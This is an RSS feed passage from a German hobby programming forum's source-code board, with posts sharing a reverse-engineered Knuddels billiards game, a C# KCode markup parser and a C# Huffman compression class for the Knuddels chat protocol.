<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>U-Labs Community - Sourcecode</title>
		<link>https://u-labs.de/forum/</link>
		<description />
		<language>de</language>
		<lastBuildDate>Sun, 03 May 2026 21:28:58 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>1</ttl>
		<image>
			<url>https://u-labs.de/forum/images/ulabs/misc/rss.png</url>
			<title>U-Labs Community - Sourcecode</title>
			<link>https://u-labs.de/forum/</link>
		</image>
		<item>
			<title><![CDATA[[Billard] Source]]></title>
			<link>sourcecode-91/billard-source-40214?goto=newpost</link>
			<pubDate>Sat, 23 May 2020 16:21:32 GMT</pubDate>
			<description>Ich habe mal versucht, Billard so zu reversen, dass man das ganze besser lesen (und sogar ausführen) kann. 
Hierzu habe ich die neuste Billard-JAR...</description>
			<content:encoded><![CDATA[<div>Ich habe mal versucht, Billard so zu reversen, dass man das ganze besser lesen (und sogar ausführen) kann.<br />
Hierzu habe ich die neuste Billard-JAR sowie den Uralt-Clienten <b>knuddeskk88i</b> genutzt, Billard hat sich ja nie geändert.<br />
<br />
Das ganze habe ich testweise auf dem BananaChat am laufen. Mir fehlen aber leider diverse Protokoll-Infos für Billard, da dass loggen bei mir nicht wirklich gut funktioniert (muss da meinen Proxy-Logger noch weiter anpassen).<br />
<br />
So schaut das ganze bereits aus:<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=9386&amp;d=1590250679" id="attachment9386" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=9386&amp;d=1590250679&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	billard.PNG&nbsp;
Hits:	264&nbsp;
Größe:	187,9 KB&nbsp;
ID:	9386" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
Wie man sehen kann, sind bereits so einige Variablen und Methoden gut benannt, Änderungen folgen noch.<br />
<br />
Hier die vorläufige Source (da werde ich sicher noch einiges machen):<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=9387&amp;d=1590250803"  title="Name:  BillardSource.zip
Hits: 252
Größe:  155,2 KB">BillardSource.zip</a></div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=9386&amp;d=1590250679" 
rel="Lightbox_442713" id="attachment9386"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=9386&amp;stc=1&amp;thumb=1&amp;d=1590250679" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	billard.PNG&nbsp;
Hits:	-&nbsp;
Größe:	187,9 KB&nbsp;
ID:	9386"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=9387&amp;d=1590250803">BillardSource.zip</a> 
(155,2 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Bubble Gum</dc:creator>
			<guid isPermaLink="true">sourcecode-91/billard-source-40214</guid>
		</item>
		<item>
			<title><![CDATA[[C#] KCode-Parser / TextPanelLight]]></title>
			<link>sourcecode-91/c-kcode-parser-textpanellight-40210?goto=newpost</link>
			<pubDate>Thu, 21 May 2020 02:00:50 GMT</pubDate>
			<description>Ich habe mal angefangen einen KCode-Parser in C# zu implementieren. 
 
Der ist zwar noch etwas Buggy und einige Komponenten fehlen, aber die Basics...</description>
			<content:encoded><![CDATA[<div>Ich habe mal angefangen einen KCode-Parser in C# zu implementieren.<br />
<br />
Der ist zwar noch etwas Buggy und einige Komponenten fehlen, aber die Basics sind schonmal nicht schlecht:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=9381&amp;d=1590026292" border="0" alt="Name:  KCode.png
Hits: 928
Größe:  22,3 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<b><u>Usage:</u></b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
TextPanelLight panel = new TextPanelLight(&lt;content&gt;);<br />
<br />
/* Allow some Snippets */<br />
parser.AllowBold				= true;<br />
parser.AllowItalic				= true;<br />
parser.AllowFontSize			= true;<br />
parser.AllowColor				= true;<br />
parser.AllowImages				= true;<br />
parser.AllowLinks				= true;<br />
parser.AllowAlignment			= true;<br />
parser.AllowIndentation			= true;<br />
parser.AllowBreaklines			= true;<br />
<br />
/* Default Styles */<br />
parser.DefaultFontSize			= 16;<br />
parser.DefaultTextColor			= Color.FromRgb(0, 0, 0);<br />
parser.DefaultLinkHoverColor	= Color.FromRgb(255, 0, 0);<br />
parser.ChannelRed				= Color.FromRgb(255, 0, 0);<br />
parser.ChannelGreen				= Color.FromRgb(0, 255, 0);<br />
parser.ChannelBlue				= Color.FromRgb(0, 0, 255);<br />
<br />
/* You can set the content on constructor or here */<br />
panel.SetContent(&lt;content&gt;);<br />
<br />
/* Add the TextPanelLight to your UI */<br />
this.Output.Children.Add(panel);
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<b><u>Source:</u></b><br />
Die Source findet ihr in meinem Repository auf GitHub:<br />
<a href="https://github.com/Bizarrus/Klass/tree/master/Klass.KCode" target="_blank" rel="nofollow">https://github.com/Bizarrus/Klass/tr...er/Klass.KCode</a></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=9381&amp;stc=1&amp;d=1590026292" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Bubble Gum</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-kcode-parser-textpanellight-40210</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Huffman]]></title>
			<link>sourcecode-91/c-huffman-40209?goto=newpost</link>
			<pubDate>Tue, 19 May 2020 23:31:20 GMT</pubDate>
			<description>Nachdem SeBi Huffman in C# (mit einem selten auftretenden Fehler) gepostet hat: 
 
Hier meine Version - habe es auf meiner Festplatte entdeckt, ist...</description>
			<content:encoded><![CDATA[<div>Nachdem SeBi Huffman in C# (mit einem selten auftretenden Fehler) gepostet hat:<br />
<br />
Hier meine Version - habe es auf meiner Festplatte entdeckt, ist irgendwann aus 2018.<br />
<br />
2 Klassen: KHuffman &amp; BitStream<br />
<br />
<b>KHuffman.cs</b> V1 (mit Baum als String):<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
<br />
namespace DeinTollesProjekt<br />
{<br />
    class KHuffman<br />
    {<br />
        private readonly BinaryNode DecRoot;<br />
        private String _16BitChar;<br />
        private int _16BitCharPath;<br />
        private int _16BitCharPathLen;<br />
        private readonly char&#91;&#93; CharBuffer;<br />
        private Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; EncMap;<br />
        private readonly String Tree = KHuffman.DecodeForObfuscatorBug(&quot;\by\u00ef|/serverpp \&quot;\u001ett\tD!ea\&quot;ud\u000f\u0083\u0011\u0437\u0012\u00da\u0012\u00de\u0010\u20ac\u000f\u203e\u000f\u0085!\u00fcr\f\u00c85Ste5eck\u001f06_Mafia\&quot;67\&quot;NI\&quot;lb\&quot;ou\u0006#\u0005\n\u0004°\u001fsi4pla\u001fti4for\b\f5boy\u000b\r5man!Kl\&quot;97\&quot;ub5urg5kte OK ue\bb op!ev!Ob6per!Ko Mo&#93;_°&gt;_h\bm\u001fdi\u001fra\u000bj\u000f\u0082\u0012\u03ca\u0012\u00d9\u0011\u00c6\u0010\u0161\u000f¹\u0010\u25ac\u0011\u00c9\u0011\u00f8\&quot;53\&quot;lh\u000e\u2022\u000e`\u001fpy\u001e13\u001enn\u0007\u00e3 rc\u00c8_nicklist_ ef5bra\u001fee5ten nc4?d= Wo\&quot;77\r\u00fa!944ing\u000b\u000e 02\u001fDe\u001fau!Ru\&quot;oy\&quot;km5eig Es!ks!Ol\b5\tE\u001fii\u000b\u0016\&quot;mf\&quot;Fo\&quot;sk\u0010²\u0011\u255d\u0011\u009e\u0012\ufb7c\u0012\ufea1\u0012\ufea6\u0012\u2019\u0011\u0119\u0012\ufb8e\u0012\ufef6\u000e\u0015 Er6use!On ol!89\&quot;k\u00f6\&quot;Ze4art\u001fri\bw co\u000e\u0019\u000e\u00c4\&quot;Ct!va\u001fbi4lin hr id do nk xx\&quot;wb\u000e\u0018\u0010\u043a\u0010\u00cd\u000f\u008b\&quot;ph\&quot;fw5noc we4yer\u001ffe ko ht\u001fmi5100 31\u00073\u0007l\nW\u001ffc\&quot;k\u00fc\u000f\u0432\u0010\u00f9\u0012\u0493\u0012\u2122\u0011\u0430\u000e´!iz 09\u001fBN\u001eim\t\u0001\u00012\u00010p\u00010!Kr\&quot;Oo\&quot;eg5Pun yl eh Ro Su!xe6hel5hlt\u001fet\u001fsm\nM pa 38\tz!Fl!48 uf5Knu Ni hi\&quot;lz\r\u00dc6her So\&quot;S\u00fc\&quot;uh\u000f\u2192\u000f\u2591\u000e\u043d\&quot;r\u00fc\u001eFh4Min\u001fba\u001fpl^0,0,0\u001e17\u001e  5bin!Gl!NusMafia2\u001fda!Rh6ken Sl\nI\u0089knuddel Fb\u001fBo!To\&quot;za\u0010\u0192\u0011µ\u0011\u2593\u000f\u0086\u000e\u0438!Go!565ois ce\nN 03!rb!hn5rie!Je!Dr\b45Fu\u00df!Ju\&quot;ny\&quot;Yo\u001f365hei\&quot;58\&quot;ov\f$\u001fBB\b&amp;^Bingo5lie!by!Ig4ste\n\u0011\u00072\nG ic6kle\u0012\ufefb\u0012\u042f\u0011\u0452\u0010\u00e0\u0010\u06d7\u0012\u0435\u0012\u00c1\u0012\u00d5\u0012\u2502\u0011\u00ee\u0011\u2554\u0010\u007f\u000f\u00d6\&quot;64\u001fse\u001f23\u001fng wa!D\u00fc!fl\u001far rs Bi\u0084\u00010p\u00010B\u00010-\u00010\u0007\u00f5\u0007,\b\u00c24ute\u001fve\n@!sl!ac He\u0007B\u001d20 Wi\&quot;cl\&quot;M\u00f6!dm\u001fMa\u001ele\u0007i ot\&quot;sc\&quot;uu\f\t\nS5geb Me\u00ff\u0010\u000bfemale.b.my_4.gif tl\u001e164cht\&quot;l\u00e4\&quot;pu\&quot;sb\&quot;515Fif 905erh4255\nK\u001fig\b|\u001ema 29\&quot;Am\u000f\u266b\u0010\u203a\u0011\u009d\u0011 \u0011\u00fe\u0011\u2190\u0011\u0099\u0011\u0141\u000f\u043c!K\u00f65von Ki\&quot;\u00e4u\&quot;Ce\&quot;78\&quot;Gi nu4gen du6Mar!ru!vo!ju\r\u2113\&quot;bs6uhp\u00dbFotoContest Cp6tor6rea ziJkann\u001ell\t?\b\u00fb\b¾ mp!ln6Spi\u001fus\u001est!rf\r\u0006\r\u008f ff sh!44!Ic4hat ja6.w_\f\u0014\bg 27\&quot;Ar\r\u0454!\u00fcb\u001fie\u001e106Und6ies!91\u000e¶\u000f\u00e9\u0010\u00d8\u0012\u014b\u0012\u2580\u0011\u00e7\&quot;II go!ob\f'\u00dbknuddels.de\bx\n&#91;5nge!lt\&quot;88\&quot;Zi Na Fa\n&#93;\b¼\n\u00e45ausJsichHicon\t6\f\u2588!Gr po\u001f30\u0007&gt;4Sch6par!ey!Ga6Nor&#93;mafia\u001e12!Ja!s\u00fc\u000f¸\u000f\u008a\u000f\u001b\u000f\u0087\&quot;\u00f6n6mag4ver Ge\u000b¤\u001f22!ag\&quot;72\u000e\u0090\u000f\u00f4\u000f\u00885hal\u001f21 ro!Ps\&quot;59\&quot;Fu\u001fla 60\u000bP5Stu!mu\&quot;Aa\&quot;62\u0007n\u0007: dt6ONL!92^|/go \u0088Channel5bei Hi\t\u0002\t8\tf4200\&quot;fo\&quot;hm6ros gl\b0!496ens 346swh!bt\&quot;HP\u0012\u00d3\u0012\u2592\u0012\u00c7\u0012\u00d1\u0011\u221a\u0011\u2193\u000f\u00e2\u0010±\u0010\u039e\u000f\u00846Bad\u001fed\f\u000f6tdeJ.png\td!mb!kn Da ir6GirK2009\u001d005Pri6Bre!Te\&quot;Ve\&quot;54!Sh5Who!ft!Ne Xx^James Cl mo6ang\f\u00cc!Wu!04\t9J0065\&quot;CH\&quot;ci!gh\u001fke!ur!ak!ia!wu^pics/4den Lo5sta\&quot;GB7sbu\&quot;oh\&quot;qu Sa\u001fli\ta\nO!Fe\&quot;xy\u0012£\u0012\u043e\u0011\u009a\u0010©\u0011\u00f7\u0011\u2557\u0012\u2500\u0012\u201c\u0012\u00ad\u0012½\u000f«\u0011\u255a\u0012\u00cb\u0012\u00f2\u0011¥\u0011\u00f3Jnich6bes!tc\f¬\f\u26655men St4bur\u001frt!93!Wa!Ti!07 ga!ds\&quot;99\&quot;Mu3sch!Jo6Her\&quot;gg\&quot;vb!ib5ent\&quot;87\&quot;ya!lf or!eb!aw\u000b\u0012 tz\u001dch!rl\u009f.shadow_ sp!to!oo\u000b*\u001e15\to\&quot;nf\&quot;86!956INE!SiJFoto!ys\&quot;96\u000f\u001a\u000f\u001f\u000f\u0098\u0010\u00e1\u0011\u00d4\u0012\u0457\u0012\u00ec\u0007r4ist6Lad6Mom!Th6Pro ka Ch\u001fni\u001essI.my_ vi6Mon!pi!Qf\&quot;oc\&quot;sg\&quot;Ta\&quot;tw\&quot;if\&quot;zz\u001fna!Au!ai\u009eKnuddels\nXG°&gt;_h#ug#My\&quot;Pe\&quot;ex\&quot;No Ka no\&quot;xt\&quot;hp\&quot;kr\&quot;Pu\u001e18\tR5Sin An\&quot;Ri7sel6bea!Vo\&quot;ah\&quot;Qu\u0007+\nc!ts!Tr We\nL\u00f1icon_gender_\u001fme5.h_6www\&quot;yo\&quot;hu\u00ff\f\n|/fotowhois \&quot;5mit so\b\u000b4Fre6max6reg!Va6wer\nu6wieuicons/!En\u000f\u2550\u0010\u0095\u0010\u00d7\u000e\u009f\&quot;jo\u0007%\u00dc255,255,255 ei!dr!ip Du\&quot;kf\&quot;57!Pl\u001flo5Sta\u000e\u03b1\u000f\u001d\u0011\u03c4\u0011\u00d2\u0010\u0091\&quot;ER!ku ls6act!Fr\n\\\u00ff\u0013\u000bfotos/knuddels.de?n=\u000bH2   !Lu6dem5end#B\u00fc#ap\&quot;746chl5gle\u001e40\t!\u001e324ein5sei!Ke\f\u00df fg5bal\u001fta\u001e194nde6Men6Lie ad\u001fSf\n§\u001ein#ec\u000f\u001e\u0010\u2039\u0011\u00dd\u0012¦\u0012\u00ea\u000e\u03b9#H\u00fc!os rnJ.mx_5wei\u001e..6ler!rk\u000bq\&quot;tf\&quot;Un!Po5Ver\tp\u0007/\f}#dw\u000f\u0455\u0010\u0092\u0010\u00eb\&quot;az!lu!Fi!kl!wo 80\u00ff \t\u00010p\u00010B\u00010pics/icon_fullChannel.gif\u00010-\u00010\u001eel\u001fty6Neu\&quot;52\&quot;lm 01q|/w \&quot;&lt;´.quadcut_#69#d\u00e4\&quot;tu6fre\&quot;ih#ez#98\u001fte5gir5cnt\u009e.border_ it\u000bY\u00ff\u000e\u000bfullChannel.gif\&quot;zo\&quot;kc\&quot;Ab\u000f\u03c5\u0012\u25aa\u0013\u2569\u0013\u212e\u0011\u00ca\u0010\u008d#82 33\u001fnd\nF Sp\u000b^6ach!uc ki4ich7fel#83\u000f¿\u000f\u00db!br6Fri6dor\u001fde\u001f50!aa\&quot;gb\&quot;lc6f\u00fcr!75 th5Ber6Bal!70!45\&quot;Sw\&quot;41 il6hfl\&quot;Ih\r~\u00ff\u000e\npics/female.gif5htt\u0010\u266a\u0012¡\u0012\u00e8\u0012\u0131\u0013\u2014&gt;\\\\\\\u0014\u04d9\u000f·#At#LE#SkK2010G.gifJfoto6Lan\r\u0013\&quot;ik\u00c7°&gt;gt.gif&lt;° Ho\&quot;dy\&quot;Pi6alt 28J.jpg\u0007e\bs El6mer\u00ff\u000e\fmale.b.my_3.gif\u0088\u00010Flirt \u000e\u044f#76\&quot;nb!La ns!rg!08 Be\u000bv\&quot;ml#cd#73!Bu tr wi\u001fmm!sf6Die nt ly!em6tmu\&quot;od\&quot;sd6Kis\&quot;DD\u0010\u0097\u0011¨\u0011\u00ce\u000f\u03b7#68\fQ\u001fge#84#FC\&quot;gs!Ra!su\&quot;iv#hh#Pr\u0007&lt;\u001fha\u001fon\nT4che\bh\u0007\&quot;\u00ff\r\fcloudsblue.gif\&quot;Ci\r\u00037lig\u000e\u0017\u0010\u008e\u0010\u0096\u0012\u00f1\u0012\u00fd\u0012®\u0012\u0443\u0013\u03ae\u0013\u0130\u0013\u0142\u0013\u0144\u0011\u03c1!bb5ber Li!Di\r¯\&quot;lg!Al6Out 24 un 397urt#Is#Rf!71!hl!Bl Ba5ear6ech\&quot;Us\&quot;476ipi\f; ze\u0007.\t7\u001fat\&quot;w\u00e4#Hu\u000f\u2202\u0010º\u0011\u00f0\u0011\ufef9!\u00dfe!ut!fuI&gt;--&lt;\u001fan Le sa\r\u0004\&quot;gt!je5pwd Re he ho\&quot;om\&quot;ok!554war5hen\&quot;pe#ek#LL!bu\u001fre\&quot;w\u00fc\&quot;66!Se\u000bZ!\u00fcc\&quot;Cr\&quot;gu zu\fJ\&quot;m\u00e4\&quot;42!bo!Ca\u001fes6Tag#RR#ry\r\u0005 26\&quot;rr\&quot;of6Dor5res5cgi!dd\u00ff9\f|http://www3.knuddels.de:8080/txtl/click?d=knuddels.de&amp;id=!Sm\&quot;43\&quot;af5ine!Co\u0012ª\u0012³\u0011\u03a3\u0010\u0089\u000f»#CE\&quot;lk am pp!sw#63#my#pf\u0011\u009c\u0011\u00e6\u0010\u008c\u000f\u001c6fhe\r\b\&quot;Vi5ter\n\u00ff\u001f11!fa#sr#Mf\r\u0010`°&gt;sm_6Anz\nA as#NR#lr#NT#61!nz!ab!gi6dpg!gr\t(\u00ff\f\npics/male.gif pg#Cu\u0013\u03b4\u0013\u03c2\u0013\u06da\u0013\u2194\u0012\u0456\u0012\u25ba\u0011\u06d6\u0013\u0111\u0013\u0127\u0013\u01a7\u0013\u06d9\u0012\u03bd\u0012\u0441\u0011\u00cf\u0011\u00ed\u0012\u25cf\u0012\u201d\&quot;Os!ow\u001fck\u000b\u00e5 Ha#gd#It\&quot;kt6len!Ei\r\u0007\&quot;fr\nC\t)6min6Sie\f{\&quot;65\&quot;M\u00fc\u000b\u00f6#N\u00fc#Do\&quot;io!Pf6das\fV_Flirt\u000b\u00fc\&quot;rz#Gu#fm6Ham\bt\u001den\u001der\u0004\u000104der!Cc6Alt5Mix#As#tp7nen!ld 05\u001fis\u000b\u00c3\&quot;L\u00fc\u000f\u06d8\u000f\u06e1\u000f\u06e2\u000f¢6Ges6auf6and6blg!pr4und\u001fal\&quot;In\&quot;W\u00fc6hie6ges\&quot;\u00f6\u00df\&quot;ps\u001fbe 256140#hs\u0010\u03c9\u0010\u00ef\u0010\u0093\u0010\u03c3\&quot;46\n\u0080\u001f14 35!Em6ger\u001fcg\nk\u0006-\&quot;wh#rp\u0011\u0094\u0012\u039b\u0012\u009b\u0010\u2551\u0010\u0081\u0011\u00d0\u0013\u011f\u0013\u018f\u0013\u25a0\u0013\u25c4!Pa\u000bU bl!ca6vat!37\&quot;eu\&quot;ms!Mi!cs5die!ay!fi\n\u00c0 um5sen\t=!Br\&quot;ul\&quot;fy5vor!Wl6tsc rd\u001fne\&quot;Ku\u000f\u03b5\u000f\u0442#R\u00fc6Par#85#wc\&quot;cr!rm\b1\u0006_\u0004 &quot;);<br />
<br />
        public KHuffman()<br />
        {<br />
            this.DecRoot = new BinaryNode();<br />
            this.CharBuffer = new char&#91;65535&#93;;<br />
            this.EncMap = new Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;();<br />
            this.CreateTree();<br />
        }<br />
<br />
        private static String DecodeForObfuscatorBug(String s)<br />
        {<br />
            StringBuilder sb = new StringBuilder();<br />
            for (int i = 0; i &lt; s.Length; ++i)<br />
            {<br />
                char c = s&#91;i&#93;;<br />
                if (c == '\u0001')<br />
                {<br />
                    ++i;<br />
                    c = s&#91;i&#93;;<br />
                    if (c == '0')<br />
                    {<br />
                        sb.Append('\0');<br />
                        continue;<br />
                    }<br />
                }<br />
                sb.Append(c);<br />
            }<br />
            return sb.ToString();<br />
        }<br />
<br />
        private void CreateTree()<br />
        {<br />
            int m = 1;<br />
            int n = -33;<br />
            int strLen;<br />
            for (int i = 0; i &lt; this.Tree.Length; i += strLen)<br />
            {<br />
                int temp = this.Tree&#91;i++&#93;;<br />
                int pathLen;<br />
                if (temp == 255)<br />
                {<br />
                    strLen = this.Tree&#91;i++&#93; + '\u0001';<br />
                    pathLen = this.Tree&#91;i++&#93;;<br />
                }<br />
                else<br />
                {<br />
                    strLen = temp / 21 + 1;<br />
                    pathLen = temp % 21;<br />
                }<br />
                if ((m &amp; 0x1) == 0x0)<br />
                {<br />
                    ++m;<br />
                }<br />
                else<br />
                {<br />
                    while ((m &amp; 0x1) == 0x1)<br />
                    {<br />
                        m &gt;&gt;= 1;<br />
                        --n;<br />
                    }<br />
                    ++m;<br />
                }<br />
                while (n &lt; pathLen)<br />
                {<br />
                    m &lt;&lt;= 1;<br />
                    ++n;<br />
                }<br />
                String str = this.Tree.Substring(i, strLen);<br />
                int path = this.ReverseBits(m, pathLen);<br />
                if (strLen == 3 &amp;&amp; str.Equals(&quot;\\\\\\&quot;))<br />
                {<br />
                    this._16BitChar = str;<br />
                    this._16BitCharPath = path;<br />
                    this._16BitCharPathLen = pathLen;<br />
                }<br />
                this.AddString(str, path, pathLen);<br />
                if (!this.Put(this.DecRoot, str, path, pathLen))<br />
                {<br />
                    throw new Exception(&quot;error while creating tree (invalid path)&quot;);<br />
                }<br />
            }<br />
        }<br />
<br />
        private int ReverseBits(int x, int pathLen)<br />
        {<br />
            int rv = 0;<br />
            for (int i = 0; i &lt; pathLen; ++i, x &gt;&gt;= 1)<br />
            {<br />
                rv = (rv &lt;&lt; 1 | (x &amp; 0x1));<br />
            }<br />
            return rv;<br />
        }<br />
<br />
        private bool Put(BinaryNode node, String str, int path, int pathLen)<br />
        {<br />
            if (pathLen == 0)<br />
            {<br />
                node.SetData(str);<br />
                return node.IsLeaf();<br />
            }<br />
            if (node.IsEmpty())<br />
            {<br />
                if (node.IsLeaf())<br />
                {<br />
                    return false;<br />
                }<br />
                node.SetZero(new BinaryNode());<br />
                node.SetOne(new BinaryNode());<br />
            }<br />
            return this.Put(((path &amp; 0x1) == 0x0) ? node.GetZero() : node.GetOne(), str, path &gt;&gt; 1, pathLen - 1);<br />
        }<br />
<br />
        private void AddString(String str, int path, int pathLen)<br />
        {<br />
            Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; current = this.EncMap;<br />
            for (int i = 0; i &lt; str.Length; ++i)<br />
            {<br />
                char _char = str&#91;i&#93;;<br />
                char character = this.CharBuffer&#91;_char&#93;;<br />
                if (character == 0) // character == null<br />
                {<br />
                    this.CharBuffer&#91;_char&#93; = _char;<br />
                    character = _char;<br />
                }<br />
                Pair&lt;Path, Object&gt; child = null;<br />
<br />
                if (current.ContainsKey(character)) child = current&#91;character&#93;;<br />
<br />
                if (child == null)<br />
                {<br />
                    Dictionary&lt;char, Pair&lt; Path, Object &gt;&gt; map = new Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;();<br />
                    current.Add(character, child = new Pair&lt;Path, Object&gt;(null, map));<br />
                    current = map;<br />
                }<br />
                else<br />
                {<br />
                    current = (Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;)child.GetValue();<br />
                }<br />
                if (i == str.Length - 1)<br />
                {<br />
                    child.SetKey(new Path(path, pathLen));<br />
                }<br />
            }<br />
        }<br />
<br />
        public String Decompress(byte&#91;&#93; data)<br />
        {<br />
            BitStream bitStream = new BitStream(data);<br />
            BinaryNode tempNode = this.DecRoot;<br />
            StringBuilder output = new StringBuilder();<br />
            while (bitStream.HasNext())<br />
            {<br />
                tempNode = ((bitStream.NextBit() == 0) ? tempNode.GetZero() : tempNode.GetOne());<br />
                if (!tempNode.IsLeaf())<br />
                {<br />
                    continue;<br />
                }<br />
                if (tempNode.GetData().Equals(this._16BitChar))<br />
                {<br />
                    int _char = 0;<br />
                    for (int k = 0; k &lt; 16; ++k)<br />
                    {<br />
                        _char += bitStream.NextBit() &lt;&lt; k;<br />
                    }<br />
                    output.Append((char)_char);<br />
                }<br />
                else<br />
                {<br />
                    String str = tempNode.GetData();<br />
                    output.Append(str);<br />
                }<br />
                tempNode = this.DecRoot;<br />
            }<br />
            return output.ToString();<br />
        }<br />
<br />
        public byte&#91;&#93; Compress(String str)<br />
        {<br />
            BitStream output = new BitStream();<br />
            Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt; current = this.EncMap;<br />
            int previous = -1;<br />
            int previousLen = -1;<br />
            int previousPos = -1;<br />
            for (int i = 0; i &lt; str.Length; ++i)<br />
            {<br />
                char _char = str&#91;i&#93;;<br />
                char character = this.CharBuffer&#91;_char&#93;;<br />
                if (character == 0) // character == null<br />
                {<br />
                    this.CharBuffer&#91;_char&#93; = _char;<br />
                    character = _char;<br />
                }<br />
                Pair&lt;Path, Object&gt; temp = null;<br />
                if (current.ContainsKey(character)) temp = current&#91;character&#93;;<br />
<br />
                if (temp == null)<br />
                {<br />
                    if (previous == -1)<br />
                    {<br />
                        output.AddBits(this._16BitCharPath, this._16BitCharPathLen);<br />
                        output.AddBits(_char, 16);<br />
                        previousPos = i;<br />
                    }<br />
                    else<br />
                    {<br />
                        output.AddBits(previous, previousLen);<br />
                    }<br />
                    previous = -1;<br />
                    i = previousPos;<br />
                    current = this.EncMap;<br />
                }<br />
                else<br />
                {<br />
                    if (temp.GetKey() != null)<br />
                    {<br />
                        previous = temp.GetKey().GetPath();<br />
                        previousLen = temp.GetKey().GetPathLen();<br />
                        previousPos = i;<br />
                    }<br />
                    if (temp.GetValue() != null)<br />
                    {<br />
                        current = (Dictionary&lt;char, Pair&lt;Path, Object&gt;&gt;)temp.GetValue();<br />
                    }<br />
                }<br />
            }<br />
            if (previous &gt;= 0)<br />
            {<br />
                output.AddBits(previous, previousLen);<br />
            }<br />
            return output.ToByteArray();<br />
        }<br />
<br />
        private class BinaryNode<br />
        {<br />
            private BinaryNode zero;<br />
            private BinaryNode one;<br />
            private String data;<br />
<br />
            public bool IsLeaf()<br />
            {<br />
                return this.data != null &amp;&amp; this.IsEmpty();<br />
            }<br />
<br />
            public bool IsEmpty()<br />
            {<br />
                return this.zero == null &amp;&amp; this.one == null;<br />
            }<br />
<br />
            public void SetData(String data)<br />
            {<br />
                this.data = data;<br />
            }<br />
<br />
            public String GetData()<br />
            {<br />
                return this.data;<br />
            }<br />
<br />
            public BinaryNode GetZero()<br />
            {<br />
                return this.zero;<br />
            }<br />
<br />
            public void SetZero(BinaryNode left)<br />
            {<br />
                this.zero = left;<br />
            }<br />
<br />
            public BinaryNode GetOne()<br />
            {<br />
                return this.one;<br />
            }<br />
<br />
            public void SetOne(BinaryNode right)<br />
            {<br />
                this.one = right;<br />
            }<br />
        }<br />
<br />
        private class Pair&lt;K, V&gt;<br />
        {<br />
            private K key;<br />
            private V value;<br />
<br />
            public Pair(K key, V value)<br />
            {<br />
                this.key = key;<br />
                this.value = value;<br />
            }<br />
<br />
            public K GetKey()<br />
            {<br />
                return this.key;<br />
            }<br />
<br />
            public V GetValue()<br />
            {<br />
                return this.value;<br />
            }<br />
<br />
            public void SetKey(K key)<br />
            {<br />
                this.key = key;<br />
            }<br />
        }<br />
<br />
        private class Path<br />
        {<br />
            private int path;<br />
            private int pathLen;<br />
<br />
            public Path(int path, int pathLen)<br />
            {<br />
                this.path = path;<br />
                this.pathLen = pathLen;<br />
            }<br />
<br />
            public int GetPath()<br />
            {<br />
                return this.path;<br />
            }<br />
<br />
            public int GetPathLen()<br />
            {<br />
                return this.pathLen;<br />
            }<br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />

</div>
</div>
</div><br />
<br />
